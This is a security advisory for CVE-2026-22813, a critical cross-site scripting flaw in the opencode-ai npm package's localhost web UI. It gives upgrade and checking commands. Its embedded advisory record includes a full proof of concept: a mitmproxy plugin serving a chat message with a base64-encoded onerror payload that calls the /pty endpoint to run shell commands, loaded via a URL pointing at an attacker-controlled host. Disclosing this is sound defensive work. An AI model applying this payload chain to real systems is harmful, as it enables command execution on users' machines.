CVE-2026-22813: Opencode ai Cross-Site Scripting Vulnerability
CRITICALCVE-2026-22813 is a CRITICAL cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Opencode ai libraries in the npm ecosystem. The issue involves malicious website can execute commands on the local system through xss in the opencode web ui. Remediation is available by upgrading affected packages to version 1.1.10.
CVE-2026-22813 at a Glance
How to Fix CVE-2026-22813
To remediate this vulnerability, upgrade all affected Opencode ai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install opencode-ai@1.1.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls opencode-ai
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-22813, inspect your project dependencies using npm:
npm ls opencode-ai
Analyze the terminal output to locate any version of Opencode ai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.10), your application is affected.
Note: The npm ls opencode-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Opencode ai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22813 Affected Opencode ai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
opencode-ai
|
npm |
< 1.1.10
|
1.1.10
|
References
Frequently Asked Questions
What is CVE-2026-22813?
Which Opencode ai versions are affected?
What version fixes CVE-2026-22813?
Is opencode-ai affected?
What CWE is associated with CVE-2026-22813?
How can I check npm dependencies for CVE-2026-22813?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c83v-7274-4vgp",
"modified" : "2026-01-13T20:36:42Z",
"published" : "2026-01-13T20:36:41Z",
"aliases" : [ "CVE-2026-22813" ],
"summary" : "Malicious website can execute commands on the local system through XSS in the OpenCode web UI",
"details" : "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096 \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() => {\n const param = new URLSearchParams(document.location.search).get(\"url\")\n if (param) return param\n \n // [truncated]\n \n return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () => {\n // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};\n const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};\n const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});\n const pty_id = (await r.json())['id'];\n await new Promise(r => setTimeout(r, 500));\n await fetch('/pty/' + pty_id, {method: 'DELETE'})\n window.location.replace('https://example.com');\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n # [truncated]\n {\n # [truncated]\n \"parts\": [\n # [truncated]\n {\n \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n \"type\": \"text\",\n \"text\": f\"Hello, World!\\n<img src=\\\"/favicon.png\\\" onerror=\\\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\\\" style=\\\"display: none;\\\">\",\n \"time\": {\n \"start\": 1767963258360,\n \"end\": 1767963258360\n }\n },\n # [truncated]\n ]\n }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n if flow.request.path.split('?')[0] == '/session':\n flow.response.text = json.dumps([malicious_session], separators=(',', ':'))\n elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':\n flow.response.status_code = 200\n flow.response.text = json.dumps(malicious_session, separators=(',', ':'))\n elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':\n flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "opencode-ai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/anomalyco/opencode"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-13T20:36:41Z",
"nvd_published_at" : "2026-01-12T23:15:53Z"
}
}